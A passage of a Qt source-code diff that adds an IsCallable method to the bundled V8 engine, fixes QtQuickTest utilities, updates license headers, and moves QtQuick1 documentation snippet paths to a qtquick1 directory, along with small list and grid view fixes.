++ */
++ V8EXPORT bool IsCallable();
++
++ /**
+ * Call an Object as a function if a callback is set by the
+ * ObjectTemplate::SetCallAsFunctionHandler method.
+ */
+diff --git a/src/api.cc b/src/api.cc
+index bd435eb..a5a637f 100644
+--- a/src/api.cc
++++ b/src/api.cc
+@@ -3265,6 +3265,17 @@ int v8::Object::GetIndexedPropertiesExternalArrayDataLength() {
+ }
+
+
++bool v8::Object::IsCallable() {
++ i::Isolate* isolate = Utils::OpenHandle(this)->GetIsolate();
++ ON_BAILOUT(isolate, "v8::Object::IsCallable()", return false);
++ ENTER_V8(isolate);
++ i::HandleScope scope(isolate);
++ i::Handle<i::JSObject> obj = Utils::OpenHandle(this);
++ if (obj->IsJSFunction()) return true;
++ return i::Execution::GetFunctionDelegate(obj)->IsJSFunction();
++}
++
++
+ Local<v8::Value> Object::CallAsFunction(v8::Handle<v8::Object> recv, int argc,
+ v8::Handle<v8::Value> argv[]) {
+ i::Isolate* isolate = Utils::OpenHandle(this)->GetIsolate();
+diff --git a/test/cctest/test-api.cc b/test/cctest/test-api.cc
+index 1334f63..45db5a1 100644
+--- a/test/cctest/test-api.cc
++++ b/test/cctest/test-api.cc
+@@ -7263,6 +7263,49 @@ THREADED_TEST(CallAsFunction) {
+ }
+
+
++// Check whether a non-function object is callable.
++THREADED_TEST(CallableObject) {
++ v8::HandleScope scope;
++ LocalContext context;
++
++ { Local<ObjectTemplate> instance_template = ObjectTemplate::New();
++ instance_template->SetCallAsFunctionHandler(call_as_function);
++ Local<Object> instance = instance_template->NewInstance();
++ v8::TryCatch try_catch;
++
++ CHECK(instance->IsCallable());
++ CHECK(!try_catch.HasCaught());
++ }
++
++ { Local<ObjectTemplate> instance_template = ObjectTemplate::New();
++ Local<Object> instance = instance_template->NewInstance();
++ v8::TryCatch try_catch;
++
++ CHECK(!instance->IsCallable());
++ CHECK(!try_catch.HasCaught());
++ }
++
++ { Local<FunctionTemplate> function_template =
++ FunctionTemplate::New(call_as_function);
++ Local<Function> function = function_template->GetFunction();
++ Local<Object> instance = function;
++ v8::TryCatch try_catch;
++
++ CHECK(instance->IsCallable());
++ CHECK(!try_catch.HasCaught());
++ }
++
++ { Local<FunctionTemplate> function_template = FunctionTemplate::New();
++ Local<Function> function = function_template->GetFunction();
++ Local<Object> instance = function;
++ v8::TryCatch try_catch;
++
++ CHECK(instance->IsCallable());
++ CHECK(!try_catch.HasCaught());
++ }
++}
++
++
+ static int CountHandles() {
+ return v8::HandleScope::NumberOfHandles();
+ }
+--
+1.7.2.3
+
diff --git a/src/declarative/v8/0013-Remove-execute-flag-from-v8-debug.h.patch b/src/declarative/v8/0013-Remove-execute-flag-from-v8-debug.h.patch
new file mode 100644
index 0000000000..0a769921cd
--- /dev/null
+++ b/src/declarative/v8/0013-Remove-execute-flag-from-v8-debug.h.patch
@@ -0,0 +1,15 @@
+From dc2cad4f8fc88c52fcea09b8d0262d35cd32dc44 Mon Sep 17 00:00:00 2001
+From: Aaron Kennedy <aaron.kennedy@nokia.com>
+Date: Thu, 25 Aug 2011 11:09:58 +1000
+Subject: [PATCH 13/13] Remove execute flag from v8-debug.h
+
+---
+ 0 files changed, 0 insertions(+), 0 deletions(-)
+ mode change 100755 => 100644 include/v8-debug.h
+
+diff --git a/include/v8-debug.h b/include/v8-debug.h
+old mode 100755
+new mode 100644
+--
+1.7.2.3
+
diff --git a/src/declarative/v8/v8base.pri b/src/declarative/v8/v8base.pri
index 209e4d5127..9cea5cf575 100644
--- a/src/declarative/v8/v8base.pri
+++ b/src/declarative/v8/v8base.pri
@@ -11,8 +11,9 @@ isEmpty(V8DIR) {
# mksnapshot hangs if gcc 4.5 is used
# for reference look at http://code.google.com/p/v8/issues/detail?id=884
- # FIXME how to find 4.5 series?
- message(because of a bug in gcc / v8 we need to add -fno-strict-aliasing)
- QMAKE_CFLAGS += -fno-strict-aliasing
- QMAKE_CXXFLAGS += -fno-strict-aliasing
+ equals(QT_GCC_MAJOR_VERSION, 4): equals(QT_GCC_MINOR_VERSION, 5) {
+ message(because of a bug in gcc / v8 we need to add -fno-strict-aliasing)
+ QMAKE_CFLAGS += -fno-strict-aliasing
+ QMAKE_CXXFLAGS += -fno-strict-aliasing
+ }
}
diff --git a/src/declarative/v8/wrapcc.pl b/src/declarative/v8/wrapcc.pl
index 463ab059ba..27f5f867b0 100755
--- a/src/declarative/v8/wrapcc.pl
+++ b/src/declarative/v8/wrapcc.pl
@@ -8,29 +8,29 @@
## This file is part of the translations module of the Qt Toolkit.
##
## $QT_BEGIN_LICENSE:LGPL$
-## No Commercial Usage
-## This file contains pre-release code and may not be distributed.
-## You may use this file in accordance with the terms and conditions
-## contained in the Technology Preview License Agreement accompanying
-## this package.
-##
## GNU Lesser General Public License Usage
-## Alternatively, this file may be used under the terms of the GNU Lesser
-## General Public License version 2.1 as published by the Free Software
-## Foundation and appearing in the file LICENSE.LGPL included in the
-## packaging of this file. Please review the following information to
-## ensure the GNU Lesser General Public License version 2.1 requirements
-## will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+## This file may be used under the terms of the GNU Lesser General Public
+## License version 2.1 as published by the Free Software Foundation and
+## appearing in the file LICENSE.LGPL included in the packaging of this
+## file. Please review the following information to ensure the GNU Lesser
+## General Public License version 2.1 requirements will be met:
+## http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
##
## In addition, as a special exception, Nokia gives you certain additional
-## rights. These rights are described in the Nokia Qt LGPL Exception
+## rights. These rights are described in the Nokia Qt LGPL Exception
## version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
##
-## If you have questions regarding the use of this file, please contact
-## Nokia at qt-info@nokia.com.
-##
-##
-##
+## GNU General Public License Usage
+## Alternatively, this file may be used under the terms of the GNU General
+## Public License version 3.0 as published by the Free Software Foundation
+## and appearing in the file LICENSE.GPL included in the packaging of this
+## file. Please review the following information to ensure the GNU General
+## Public License version 3.0 requirements will be met:
+## http://www.gnu.org/copyleft/gpl.html.
+##
+## Other Usage
+## Alternatively, this file may be used in accordance with the terms and
+## conditions contained in a signed written agreement between you and Nokia.
##
##
##
diff --git a/src/imports/testlib/SignalSpy.qml b/src/imports/testlib/SignalSpy.qml
index 59d44185a1..91b5f03522 100644
--- a/src/imports/testlib/SignalSpy.qml
+++ b/src/imports/testlib/SignalSpy.qml
@@ -46,6 +46,10 @@ Item {
id: spy
visible: false
+ TestUtil {
+ id: util
+ }
+
// Public API.
property variant target: null
@@ -67,7 +71,7 @@ Item {
i += 50
}
var success = (count >= expected)
- if (!qtest_results.verify(success, "wait for signal " + signalName, QtTest.qtest_caller_file(), QtTest.qtest_caller_line()))
+ if (!qtest_results.verify(success, "wait for signal " + signalName, util.callerFile(), util.callerLine()))
throw new Error("QtQuickTest::fail")
}
diff --git a/src/imports/testlib/TestCase.qml b/src/imports/testlib/TestCase.qml
index 1a222a6138..6da66b20de 100644
--- a/src/imports/testlib/TestCase.qml
+++ b/src/imports/testlib/TestCase.qml
@@ -176,7 +176,7 @@ Item {
|| ((typeExp === "object" || typeExp == "declarativeitem") && typeAct === "string")) {
success = (act == exp)
}
- } else if (typeExp === "string" || typeExp === "boolean" || typeExp === "number" ||
+ } else if (typeExp === "string" || typeExp === "boolean" ||
typeExp === "null" || typeExp === "undefined") {
if (exp instanceof act.constructor || act instanceof exp.constructor) {
// to catch short annotaion VS 'new' annotation of act declaration
@@ -188,7 +188,7 @@ Item {
}
} else if (typeExp === "nan") {
success = isNaN(act);
- } else if (typeExp == "number") {
+ } else if (typeExp === "number") {
// Use act fuzzy compare if the two values are floats
if (Math.abs(act - exp) <= 0.00001) {
success = true
diff --git a/src/imports/testlib/main.cpp b/src/imports/testlib/main.cpp
index db0a029a9a..c12b9423a9 100644
--- a/src/imports/testlib/main.cpp
+++ b/src/imports/testlib/main.cpp
@@ -58,8 +58,8 @@ QML_DECLARE_TYPE(QuickTestEvent)
class QuickTestUtil : public QObject
{
Q_OBJECT
- Q_PROPERTY(bool printAvailableFunctions READ printAvailableFunctions)
- Q_PROPERTY(bool wrapper READ wrapper)
+ Q_PROPERTY(bool printAvailableFunctions READ printAvailableFunctions NOTIFY printAvailableFunctionsChanged)
+ Q_PROPERTY(bool wrapper READ wrapper NOTIFY wrapperChanged)
public:
QuickTestUtil(QObject *parent = 0)
:QObject(parent)
@@ -75,7 +75,9 @@ public:
{
return true;
}
-
+Q_SIGNALS:
+ void printAvailableFunctionsChanged();
+ void wrapperChanged();
public Q_SLOTS:
QDeclarativeV8Handle typeName(const QVariant& v) const
diff --git a/src/qmltest/quicktest.cpp b/src/qmltest/quicktest.cpp
index 3f0c5325ed..3164d9ec06 100644
--- a/src/qmltest/quicktest.cpp
+++ b/src/qmltest/quicktest.cpp
@@ -110,7 +110,10 @@ static inline QString stripQuotes(const QString &s)
int quick_test_main(int argc, char **argv, const char *name, quick_test_viewport_create createViewport, const char *sourceDir)
{
- QApplication app(argc, argv);
+ QApplication* app = 0;
+ if (!QCoreApplication::instance()) {
+ app = new QApplication(argc, argv);
+ }
// Look for QML-specific command-line options.
// -import dir Specify an import directory.
@@ -143,6 +146,10 @@ int quick_test_main(int argc, char **argv, const char *name, quick_test_viewport
argv[outargc] = 0;
argc = outargc;
+ // Parse the command-line arguments.
+ QuickTestResult::parseArgs(argc, argv);
+ QuickTestResult::setProgramName(name);
+
// Determine where to look for the test data.
if (testPath.isEmpty() && sourceDir)
testPath = QString::fromLocal8Bit(sourceDir);
@@ -167,9 +174,6 @@ int quick_test_main(int argc, char **argv, const char *name, quick_test_viewport
return 1;
}
- // Parse the command-line arguments.
- QuickTestResult::parseArgs(argc, argv);
- QuickTestResult::setProgramName(name);
// Scan through all of the "tst_*.qml" files and run each of them
// in turn with a QDeclarativeView.
@@ -287,6 +291,7 @@ int quick_test_main(int argc, char **argv, const char *name, quick_test_viewport
// Flush the current logging stream.
QuickTestResult::setProgramName(0);
+ delete app;
// Return the number of failures as the exit code.
return QuickTestResult::exitCode();
}
diff --git a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp b/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp
index b1866e419b..a133bd4e68 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp
@@ -86,7 +86,7 @@ QT_BEGIN_NAMESPACE
\bold Note: Unlike images, animated images are not cached or shared internally.
\clearfloat
- \snippet doc/src/snippets/declarative/animatedimage.qml document
+ \snippet doc/src/snippets/qtquick1/animatedimage.qml document
\sa BorderImage, Image
*/
diff --git a/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp b/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp
index 8db733ba2e..1beef966f0 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp
@@ -102,7 +102,7 @@ QT_BEGIN_NAMESPACE
used to determine the parts of the image that will lie inside the unscaled corner
areas and the parts that will be stretched horizontally and vertically.
- \snippet doc/src/snippets/declarative/borderimage/normal-image.qml normal image
+ \snippet doc/src/snippets/qtquick1/borderimage/normal-image.qml normal image
\clearfloat
\beginfloatleft
@@ -116,7 +116,7 @@ QT_BEGIN_NAMESPACE
is set to \l{BorderImage::verticalTileMode}{BorderImage.Stretch}, the parts of image
in regions 4 and 6 are stretched vertically.
- \snippet doc/src/snippets/declarative/borderimage/borderimage-scaled.qml scaled border image
+ \snippet doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml scaled border image
\clearfloat
\beginfloatleft
@@ -130,7 +130,7 @@ QT_BEGIN_NAMESPACE
\l{BorderImage::verticalTileMode}{BorderImage.Repeat}, the parts of image in regions
4 and 6 are tiled so that they fill the space at the left and right of the element.
- \snippet doc/src/snippets/declarative/borderimage/borderimage-tiled.qml tiled border image
+ \snippet doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml tiled border image
\clearfloat
In some situations, the width of regions 2 and 8 may not be an exact multiple of the width
diff --git a/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp b/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp
index 04e926ac46..f145312334 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeflickable.cpp
@@ -462,7 +462,7 @@ void QDeclarative1FlickablePrivate::updateBeginningEnd()
The following example shows a small view onto a large image in which the
user can drag or flick the image in order to view different parts of it.
- \snippet doc/src/snippets/declarative/flickable.qml document
+ \snippet doc/src/snippets/qtquick1/flickable.qml document
\clearfloat
@@ -524,9 +524,9 @@ void QDeclarative1FlickablePrivate::updateBeginningEnd()
These properties are typically used to draw a scrollbar. For example:
- \snippet doc/src/snippets/declarative/flickableScrollbar.qml 0
+ \snippet doc/src/snippets/qtquick1/flickableScrollbar.qml 0
\dots 8
- \snippet doc/src/snippets/declarative/flickableScrollbar.qml 1
+ \snippet doc/src/snippets/qtquick1/flickableScrollbar.qml 1
\sa {declarative/ui-components/scrollbar}{scrollbar example}
*/
@@ -1331,7 +1331,7 @@ void QDeclarative1Flickable::setBoundsBehavior(BoundsBehavior b)
The following snippet shows how these properties are used to display
an image that is larger than the Flickable item itself:
- \snippet doc/src/snippets/declarative/flickable.qml document
+ \snippet doc/src/snippets/qtquick1/flickable.qml document
In some cases, the the content dimensions can be automatically set
using the \l {Item::childrenRect.width}{childrenRect.width}
@@ -1566,6 +1566,7 @@ bool QDeclarative1Flickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
return stealThisEvent || d->delayedPressEvent || disabledItem;
} else if (d->lastPosTime.isValid()) {
d->lastPosTime.invalidate();
+ returnToBounds();
}
if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
d->clearDelayedPress();
diff --git a/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp b/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp
index 789cadafb4..e9c23b4dfd 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeflipable.cpp
@@ -96,7 +96,7 @@ public:
degrees to produce the flipping effect. When \c flipped is false, the
item reverts to the default state, in which the \c angle value is 0.
- \snippet doc/src/snippets/declarative/flipable/flipable.qml 0
+ \snippet doc/src/snippets/qtquick1/flipable/flipable.qml 0
\image flipable.gif
diff --git a/src/qtquick1/graphicsitems/qdeclarativegridview.cpp b/src/qtquick1/graphicsitems/qdeclarativegridview.cpp
index 63b907b022..f2511a15c9 100644
--- a/src/qtquick1/graphicsitems/qdeclarativegridview.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativegridview.cpp
@@ -1269,7 +1269,7 @@ void QDeclarative1GridViewPrivate::flick(AxisData &data, qreal minExtent, qreal
The following example shows the definition of a simple list model defined
in a file called \c ContactModel.qml:
- \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0
+ \snippet doc/src/snippets/qtquick1/gridview/ContactModel.qml 0
\div {class="float-right"}
\inlineimage gridview-simple.png
@@ -1283,9 +1283,9 @@ void QDeclarative1GridViewPrivate::flick(AxisData &data, qreal minExtent, qreal
(containing \l Image and \l Text elements) for its delegate.
\clearfloat
- \snippet doc/src/snippets/declarative/gridview/gridview.qml import
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml import
\codeline
- \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml classdocs simple
\div {class="float-right"}
\inlineimage gridview-highlight.png
@@ -1298,7 +1298,7 @@ void QDeclarative1GridViewPrivate::flick(AxisData &data, qreal minExtent, qreal
into a separate \c contactDelegate component.
\clearfloat
- \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs advanced
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml classdocs advanced
The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property,
and \c focus is set to \c true to enable keyboard navigation for the grid view.
@@ -1312,7 +1312,7 @@ void QDeclarative1GridViewPrivate::flick(AxisData &data, qreal minExtent, qreal
this attached property directly as \c GridView.isCurrentItem, while the child
\c contactInfo object must refer to this property as \c wrapper.GridView.isCurrentItem.
- \snippet doc/src/snippets/declarative/gridview/gridview.qml isCurrentItem
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml isCurrentItem
\note Views do not set the \l{Item::}{clip} property automatically.
If the view is not clipped by another item or the screen, it will be necessary
@@ -1351,7 +1351,7 @@ QDeclarative1GridView::~QDeclarative1GridView()
It is attached to each instance of the delegate.
- \snippet doc/src/snippets/declarative/gridview/gridview.qml isCurrentItem
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml isCurrentItem
*/
/*!
@@ -1366,7 +1366,7 @@ QDeclarative1GridView::~QDeclarative1GridView()
The example below ensures that the animation completes before
the item is removed from the grid.
- \snippet doc/src/snippets/declarative/gridview/gridview.qml delayRemove
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml delayRemove
*/
/*!
@@ -1640,7 +1640,7 @@ void QDeclarative1GridView::setHighlight(QDeclarativeComponent *highlight)
Here is a highlight with its motion defined by a \l {SpringAnimation} item:
- \snippet doc/src/snippets/declarative/gridview/gridview.qml highlightFollowsCurrentItem
+ \snippet doc/src/snippets/qtquick1/gridview/gridview.qml highlightFollowsCurrentItem
*/
bool QDeclarative1GridView::highlightFollowsCurrentItem() const
{
@@ -2748,7 +2748,7 @@ void QDeclarative1GridView::trackedPositionChanged()
void QDeclarative1GridView::itemsInserted(int modelIndex, int count)
{
Q_D(QDeclarative1GridView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
@@ -2879,7 +2879,7 @@ void QDeclarative1GridView::itemsInserted(int modelIndex, int count)
void QDeclarative1GridView::itemsRemoved(int modelIndex, int count)
{
Q_D(QDeclarative1GridView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
d->itemCount -= count;
@@ -2979,7 +2979,7 @@ void QDeclarative1GridView::destroyRemoved()
void QDeclarative1GridView::itemsMoved(int from, int to, int count)
{
Q_D(QDeclarative1GridView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->isValid())
return;
QHash<int,FxGridItem1*> moved;
diff --git a/src/qtquick1/graphicsitems/qdeclarativeimage.cpp b/src/qtquick1/graphicsitems/qdeclarativeimage.cpp
index 4e2cd10218..bc301ddf6c 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeimage.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeimage.cpp
@@ -76,7 +76,7 @@ QT_BEGIN_NAMESPACE
The following example shows the simplest usage of the Image element.
- \snippet doc/src/snippets/declarative/image.qml document
+ \snippet doc/src/snippets/qtquick1/image.qml document
\beginfloatleft
\image declarative-qtlogo.png
diff --git a/src/qtquick1/graphicsitems/qdeclarativeitem.cpp b/src/qtquick1/graphicsitems/qdeclarativeitem.cpp
index 20b4c11f5b..b32898fe38 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeitem.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeitem.cpp
@@ -201,7 +201,7 @@ QT_BEGIN_NAMESPACE
rotations you must specify the axis to rotate around in addition to the origin point.
The following example shows various 3D-like rotations applied to an \l Image.
- \snippet doc/src/snippets/declarative/rotation.qml 0
+ \snippet doc/src/snippets/qtquick1/rotation.qml 0
\image axisrotation.png
@@ -434,7 +434,7 @@ void QDeclarativeItemKeyFilter::componentComplete()
The following example provides key navigation for a 2x2 grid of items:
- \snippet doc/src/snippets/declarative/keynavigation.qml 0
+ \snippet doc/src/snippets/qtquick1/keynavigation.qml 0
The top-left item initially receives focus by setting \l {Item::}{focus} to
\c true. When an arrow key is pressed, the focus will move to the
@@ -821,7 +821,7 @@ void QDeclarative1KeyNavigationAttached::setFocusNavigation(QDeclarativeItem *cu
from left to right by default, they are now positioned from right to left instead, as demonstrated
by the numbering and opacity of the items:
- \snippet doc/src/snippets/declarative/layoutmirroring.qml 0
+ \snippet doc/src/snippets/qtquick1/layoutmirroring.qml 0
\image layoutmirroring.png
@@ -985,13 +985,13 @@ void QDeclarativeItemPrivate::setLayoutMirror(bool mirror)
be used to test for a certain key; in this case, the left cursor
key:
- \snippet doc/src/snippets/declarative/keys/keys-pressed.qml key item
+ \snippet doc/src/snippets/qtquick1/keys/keys-pressed.qml key item
Some keys may alternatively be handled via specific signal properties,
for example \e onSelectPressed. These handlers automatically set
\e event.accepted to true.
- \snippet doc/src/snippets/declarative/keys/keys-handler.qml key item
+ \snippet doc/src/snippets/qtquick1/keys/keys-handler.qml key item
See \l{Qt::Key}{Qt.Key} for the list of keyboard codes.
diff --git a/src/qtquick1/graphicsitems/qdeclarativelistview.cpp b/src/qtquick1/graphicsitems/qdeclarativelistview.cpp
index c58543c735..5119c0e1fb 100644
--- a/src/qtquick1/graphicsitems/qdeclarativelistview.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativelistview.cpp
@@ -446,6 +446,7 @@ public:
FxListItem1 *snapItemAt(qreal pos) {
FxListItem1 *snapItem = 0;
+ qreal prevItemSize = 0;
for (int i = 0; i < visibleItems.count(); ++i) {
FxListItem1 *item = visibleItems[i];
if (item->index == -1)
@@ -453,8 +454,9 @@ public:
qreal itemTop = item->position();
if (highlight && itemTop >= pos && item->endPosition() <= pos + highlight->size() - 1)
return item;
- if (itemTop+item->size()/2 >= pos && itemTop-item->size()/2 < pos)
+ if (itemTop+item->size()/2 >= pos && itemTop-prevItemSize/2 < pos)
snapItem = item;
+ prevItemSize = item->size();
}
return snapItem;
}
@@ -1564,13 +1566,13 @@ void QDeclarative1ListViewPrivate::flick(AxisData &data, qreal minExtent, qreal
The following example shows the definition of a simple list model defined
in a file called \c ContactModel.qml:
- \snippet doc/src/snippets/declarative/listview/ContactModel.qml 0
+ \snippet doc/src/snippets/qtquick1/listview/ContactModel.qml 0
Another component can display this model data in a ListView, like this:
- \snippet doc/src/snippets/declarative/listview/listview.qml import
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml import
\codeline
- \snippet doc/src/snippets/declarative/listview/listview.qml classdocs simple
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml classdocs simple
\image listview-simple.png
@@ -1581,7 +1583,7 @@ void QDeclarative1ListViewPrivate::flick(AxisData &data, qreal minExtent, qreal
An improved list view is shown below. The delegate is visually improved and is moved
into a separate \c contactDelegate component.
- \snippet doc/src/snippets/declarative/listview/listview.qml classdocs advanced
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml classdocs advanced
\image listview-highlight.png
The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property,
@@ -1596,7 +1598,7 @@ void QDeclarative1ListViewPrivate::flick(AxisData &data, qreal minExtent, qreal
this attached property directly as \c ListView.isCurrentItem, while the child
\c contactInfo object must refer to this property as \c wrapper.ListView.isCurrentItem.
- \snippet doc/src/snippets/declarative/listview/listview.qml isCurrentItem
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml isCurrentItem
\note Views do not enable \e clip automatically. If the view
is not clipped by another item or the screen, it will be necessary
@@ -1631,7 +1633,7 @@ QDeclarative1ListView::~QDeclarative1ListView()
This property may be used to adjust the appearance of the current item, for example:
- \snippet doc/src/snippets/declarative/listview/listview.qml isCurrentItem
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml isCurrentItem
*/
/*!
@@ -1680,7 +1682,7 @@ QDeclarative1ListView::~QDeclarative1ListView()
The example delegate below ensures that the animation completes before
the item is removed from the list.
- \snippet doc/src/snippets/declarative/listview/listview.qml delayRemove
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml delayRemove
*/
/*!
@@ -1960,7 +1962,7 @@ void QDeclarative1ListView::setHighlight(QDeclarativeComponent *highlight)
Here is a highlight with its motion defined by a \l {SpringAnimation} item:
- \snippet doc/src/snippets/declarative/listview/listview.qml highlightFollowsCurrentItem
+ \snippet doc/src/snippets/qtquick1/listview/listview.qml highlightFollowsCurrentItem
Note that the highlight animation also affects the way that the view
is scrolled. This is because the view moves to maintain the
@@ -3131,7 +3133,6 @@ void QDeclarative1ListView::trackedPositionChanged()
qreal trackedPos = qCeil(d->trackedItem->position());
qreal trackedSize = d->trackedItem->size();
if (d->trackedItem != d->currentItem) {
- trackedPos -= d->currentItem->sectionSize();
trackedSize += d->currentItem->sectionSize();
}
qreal viewPos;
@@ -3195,7 +3196,7 @@ void QDeclarative1ListView::trackedPositionChanged()
void QDeclarative1ListView::itemsInserted(int modelIndex, int count)
{
Q_D(QDeclarative1ListView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
d->updateUnrequestedIndexes();
d->moveReason = QDeclarative1ListViewPrivate::Other;
@@ -3338,7 +3339,7 @@ void QDeclarative1ListView::itemsInserted(int modelIndex, int count)
void QDeclarative1ListView::itemsRemoved(int modelIndex, int count)
{
Q_D(QDeclarative1ListView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
d->moveReason = QDeclarative1ListViewPrivate::Other;
d->updateUnrequestedIndexes();
@@ -3453,7 +3454,7 @@ void QDeclarative1ListView::destroyRemoved()
void QDeclarative1ListView::itemsMoved(int from, int to, int count)
{
Q_D(QDeclarative1ListView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->isValid())
return;
d->updateUnrequestedIndexes();
diff --git a/src/qtquick1/graphicsitems/qdeclarativeloader.cpp b/src/qtquick1/graphicsitems/qdeclarativeloader.cpp
index 7162c31662..3b68ed4a9e 100644
--- a/src/qtquick1/graphicsitems/qdeclarativeloader.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativeloader.cpp
@@ -138,7 +138,7 @@ void QDeclarative1LoaderPrivate::initResize()
Here is a Loader that loads "Page1.qml" as a component when the
\l MouseArea is clicked:
- \snippet doc/src/snippets/declarative/loader/simple.qml 0
+ \snippet doc/src/snippets/qtquick1/loader/simple.qml 0
The loaded item can be accessed using the \l item property.
@@ -170,8 +170,8 @@ void QDeclarative1LoaderPrivate::initResize()
\o sizeloader.qml
\o sizeitem.qml
\row
- \o \snippet doc/src/snippets/declarative/loader/sizeloader.qml 0
- \o \snippet doc/src/snippets/declarative/loader/sizeitem.qml 0
+ \o \snippet doc/src/snippets/qtquick1/loader/sizeloader.qml 0
+ \o \snippet doc/src/snippets/qtquick1/loader/sizeitem.qml 0
\row
\o The red rectangle will be sized to the size of the root item.
\o The red rectangle will be 50x50, centered in the root item.
@@ -190,8 +190,8 @@ void QDeclarative1LoaderPrivate::initResize()
\o application.qml
\o MyItem.qml
\row
- \o \snippet doc/src/snippets/declarative/loader/connections.qml 0
- \o \snippet doc/src/snippets/declarative/loader/MyItem.qml 0
+ \o \snippet doc/src/snippets/qtquick1/loader/connections.qml 0
+ \o \snippet doc/src/snippets/qtquick1/loader/MyItem.qml 0
\endtable
Alternatively, since \c MyItem.qml is loaded within the scope of the
@@ -217,8 +217,8 @@ void QDeclarative1LoaderPrivate::initResize()
\o application.qml
\o KeyReader.qml
\row
- \o \snippet doc/src/snippets/declarative/loader/focus.qml 0
- \o \snippet doc/src/snippets/declarative/loader/KeyReader.qml 0
+ \o \snippet doc/src/snippets/qtquick1/loader/focus.qml 0
+ \o \snippet doc/src/snippets/qtquick1/loader/KeyReader.qml 0
\endtable
Once \c KeyReader.qml is loaded, it accepts key events and sets
diff --git a/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp b/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp
index 7f43eb1070..94f6b2a798 100644
--- a/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativemousearea.cpp
@@ -226,9 +226,9 @@ QDeclarative1MouseAreaPrivate::~QDeclarative1MouseAreaPrivate()
The following example uses a MouseArea in a \l Rectangle that changes
the \l Rectangle color to red when clicked:
- \snippet doc/src/snippets/declarative/mousearea/mousearea.qml import
+ \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml import
\codeline
- \snippet doc/src/snippets/declarative/mousearea/mousearea.qml intro
+ \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml intro
\clearfloat
Many MouseArea signals pass a \l{MouseEvent}{mouse} parameter that contains
@@ -238,7 +238,7 @@ QDeclarative1MouseAreaPrivate::~QDeclarative1MouseAreaPrivate()
Here is an extension of the previous example that produces a different
color when the area is right clicked:
- \snippet doc/src/snippets/declarative/mousearea/mousearea.qml intro-extended
+ \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml intro-extended
\sa MouseEvent, {declarative/touchinteraction/mousearea}{MouseArea example}
*/
@@ -492,7 +492,7 @@ void QDeclarative1MouseArea::setPreventStealing(bool prevent)
The code below displays "right" when the right mouse buttons is pressed:
- \snippet doc/src/snippets/declarative/mousearea/mousearea.qml mousebuttons
+ \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml mousebuttons
\sa acceptedButtons
*/
@@ -999,7 +999,7 @@ QDeclarative1Drag *QDeclarative1MouseArea::drag()
The following example displays a \l Rectangle that can be dragged along the X-axis. The opacity
of the rectangle is reduced when it is dragged to the right.
- \snippet doc/src/snippets/declarative/mousearea/mousearea.qml drag
+ \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml drag
\note Items cannot be dragged if they are anchored for the requested
\c drag.axis. For example, if \c anchors.left or \c anchors.right was set
@@ -1010,7 +1010,7 @@ QDeclarative1Drag *QDeclarative1MouseArea::drag()
If \c drag.filterChildren is set to true, a drag can override descendant MouseAreas. This
enables a parent MouseArea to handle drags, for example, while descendants handle clicks:
